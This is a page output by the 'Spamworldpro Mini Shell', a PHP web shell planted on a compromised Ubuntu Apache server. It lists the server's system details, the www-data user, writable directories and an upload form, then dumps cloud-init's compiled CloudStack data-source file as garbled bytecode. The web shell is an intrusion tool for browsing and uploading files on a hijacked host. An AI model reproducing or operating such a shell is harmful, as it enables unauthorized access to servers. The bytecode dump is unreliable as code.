Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceCloudStack.cpython-310.pyc
o

}��f�,�@s�ddlZddlZddlZddlmZddlmZmZmZddl	m
Z
ddlmZm
Z
ddlmZddlmZddlmZdd	lmZe�e�ZGd
d�d�ZGdd
�d
ej�Zdd�Zdd�Zdd�ZeejejffgZ dd�Z!dS)�N)�suppress)�gaierror�getaddrinfo�	inet_ntoa)�pack)�sources�subp)�
url_helper)�util)�dhcp)�ec2c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�CloudStackPasswordServerClienta�
    Implements password fetching from the CloudStack password server.

    http://cloudstack-administration.readthedocs.org/
       en/latest/templates.html#adding-password-management-to-your-templates
    has documentation about the system.  This implementation is following that
    found at
    https://github.com/shankerbalan/cloudstack-scripts/
       blob/master/cloud-set-guest-password-debian
    cCs
||_dS�N)�virtual_router_address)�selfr�r�H/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceCloudStack.py�__init__+�
z'CloudStackPasswordServerClient.__init__cCs:t�ddddddddd	d
�|�d�|j�g�\}}|��S)N�wgetz--quietz--tries�3z	--timeout�20z--output-document�-z--headerzDomU_Request: {0}z{0}:8080)r�formatr�strip)r�domu_request�output�_rrr�_do_request.s
��z*CloudStackPasswordServerClient._do_requestcCs4|�d�}|dvrdS|dkrtd��|�d�|S)N�send_my_password)��saved_password�bad_requestz-Error when attempting to fetch root password.r!)r�RuntimeError)r�passwordrrr�get_passwordCs

z+CloudStackPasswordServerClient.get_passwordN)�__name__�
__module__�__qualname__�__doc__rrr%rrrrr
s
r
csleZdZdZdZdZdd�Zdd�Z			d�fd	d
�	Zdd�Z	d
d�Z
dd�Zdd�Ze
dd��Z�ZS)�DataSourceCloudStack�
CloudStack�x�2cCsdtj�||||�tj�|jd�|_d|_||_t	|j�|_
|j
s%td��d|j
�d�|_i|_
dS)N�cs�latestzNo virtual router found!zhttp://�/)r�
DataSourcer�os�path�join�seed_dir�api_ver�distro�get_vr_address�vr_addrr#�metadata_address�cfg)r�sys_cfgr7�pathsrrrrUs
zDataSourceCloudStack.__init__cCs�t�d�t�d�}|r|St�d�ttj��t���|jd�}|r-|Wd�SWd�n1s7wYt�d|jj	j
�tt��|jj	�|jj
�}|�d�pYd}|Wd�S1sfwYt�d�dS)z�
        Try obtaining a "domain-name" DHCP lease parameter:
        - From systemd-networkd lease
        - From dhclient lease
        z.Try obtaining domain name from networkd leases�
DOMAINNAMEzHCould not obtain FQDN from networkd leases. Falling back to ISC dhclientzdomain-nameNzBCould not obtain FQDN from ISC dhclient leases. Falling back to %szNo dhcp leases found)�LOG�debugr�networkd_get_option_from_leasesr�NoDHCPLeaseMissingDhclientError�IscDhclient�get_key_from_latest_leaser7�dhcp_client�client_name�FileNotFoundError�get_newest_lease�fallback_interface�get)r�
domainname�domain_name�latest_leaserrr�_get_domainnamecs:

�����
� �
z$DataSourceCloudStack._get_domainnameFcsnt��|||�}|r5d|jvr5t�d�|��}|r/|j�d|��}t�d|�t�||j�St�d|�|S)z�
        Returns instance's hostname / fqdn
        First probes the parent class method.

        If fqdn is requested, and the parent method didn't return it,
        then attach the domain-name from DHCP response.
        �.zFQDN requestedzObtained the following FQDN: %szNCould not determine domain name for FQDN. Fall back to hostname as an FQDN: %s)	�super�get_hostname�hostnamer?r@rNr�DataSourceHostname�
is_default)r�fqdn�
resolve_ip�
metadata_onlyrRrK��	__class__rrrQ�s

�z!DataSourceCloudStack.get_hostnamecCs�|��}|jdkrdSt�|jd�g}t��}tj||j|jt	j
d�\}}|r1t	�d|�t|�St	�d|t
t��|��t|�S)NrFzlatest/meta-data/instance-id)�urls�max_wait�timeout�	status_cbzUsing metadata source: '%s'z>Giving up on waiting for the metadata from %s after %s seconds)�get_url_params�max_wait_seconds�uhelp�combine_urlr:�time�	monotonic�wait_for_url�timeout_secondsr?�warningr@�critical�int�bool)r�
url_paramsrZ�
start_time�url�	_responserrr�wait_for_metadata_service�s.
��
�	��z.DataSourceCloudStack.wait_for_metadata_servicecCs|jSr)r;�rrrr�get_config_obj�sz#DataSourceCloudStack.get_config_objcCsi}tj||jdd�r|d|_|d|_t�d|j�dSzV|��s'WdSt�	�}t
�|j|j
�|_t
�|j|j
�|_t�dtt�	�|��t|j�}z|��}Wntygt�td	|j�YWdSw|rsd|d
did�|_WdSty�t�td|j
�YdSw)
Nr0)�basez	user-dataz	meta-dataz%Using seeded cloudstack data from: %sTFz)Crawl of metadata service took %s secondsz/Failed to fetch password from virtual router %s�expire)�
ssh_pwauthr$�chpasswdz(Failed fetching from metadata service %s)r
�read_optional_seedr5�userdata_raw�metadatar?r@rnrbrcr�get_instance_userdatar6r:�get_instance_metadatarhr
r9r%�	Exception�logexcr;)r�seed_retrk�password_client�set_passwordrrr�	_get_data�s\

���
������zDataSourceCloudStack._get_datacC�
|jdS)Nzinstance-id�rwrorrr�get_instance_id�rz$DataSourceCloudStack.get_instance_idcCr�)Nzavailability-zoner�rorrr�availability_zone�s
z&DataSourceCloudStack.availability_zone)FFF)r&r'r(�dsname�url_max_wait�url_timeoutrrNrQrnrprr��propertyr��
__classcell__rrrXrr*Ms ,�0r*cCs>ztdd�}Wntyt�d�YdSw|dddS)Nzdata-server�PzDNS Entry data-server not foundr�)rrr?r@)�addrinforrr�get_data_servers
�r�cCs^t�d���}|D]#}|�d�}|ddkr,ttdt|dd���}t�d|�|Sq	dS)	Nz/proc/net/route�	��00000000z<L��z"Found default route, gateway is %s)	r
�load_text_file�
splitlines�splitrrrhr?r@)�lines�line�items�gwrrr�get_default_gateways
�r�cCst�}|r
t�d|�|St�d�}|rt�d|�|Sttj��!t���|d�}|r;t�d|�|Wd�SWd�n1sEwYtt	��"|j
�|�}|rit�d||j
j�|Wd�SWd�n1sswYt�d�t
�S)Nz4Found metadata server '%s' via data-server DNS entry�SERVER_ADDRESSz-Found SERVER_ADDRESS '%s' via networkd_leaseszdhcp-server-identifierz&Found SERVER_ADDRESS '%s' via dhclientz1Found SERVER_ADDRESS '%s' via ephemeral %s lease z$No DHCP found, using default gateway)r�r?r@rrArrBrCrDrGrErHrFr�)r7�latest_addressrMrrrr8sJ�
����
���
r8cCst�|t�Sr)r�list_from_depends�datasources)�dependsrrr�get_datasource_listRsr�)"�loggingr2rb�
contextlibr�socketrrr�structr�	cloudinitrrr	r`r
�
cloudinit.netr�cloudinit.sources.helpersr�	getLoggerr&r?r
r1r*r�r�r8�DEP_FILESYSTEM�DEP_NETWORKr�r�rrrr�<module>s*
.7
2�

Spamworldpro Mini